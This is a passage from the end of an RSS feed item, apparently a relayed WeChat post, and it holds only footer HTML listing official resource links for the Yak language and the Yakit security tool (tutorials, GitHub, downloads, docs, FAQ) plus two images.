rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100037040" data-ratio="0.6015104398045313" data-s="300,640" data-w="2251" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cb41a1d5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529827%26idx%3D1%26sn%3D9ca27272c2ad5346f43ee6490f5ffbe8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 29 May 2026 18:14:00 +0800</pubDate>
    </item>
  </channel>
</rss>